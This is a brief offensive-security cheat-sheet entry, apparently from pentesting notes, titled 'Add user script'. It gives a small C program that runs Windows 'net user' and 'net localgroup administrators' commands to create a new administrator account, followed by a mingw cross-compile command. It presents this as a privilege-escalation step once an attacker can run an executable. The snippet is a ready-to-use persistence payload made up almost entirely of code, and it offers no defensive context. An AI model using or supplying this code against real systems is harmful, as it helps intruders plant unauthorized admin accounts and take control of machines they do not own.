Add user script

If your able to run a executable to escalate privilege, you can use the following code to add a new user in the administratior group

Code:

#include <stdlib.h> /* system, NULL, EXIT_FAILURE */ 
int main () 
{ 
  int i; 
  i=system ("net user <username> <password> /add && net localgroup administrators <username> /add"); 
  return 0; 
} 

# Compile

i686-w64-mingw32-gcc -o useradd.exe useradd.c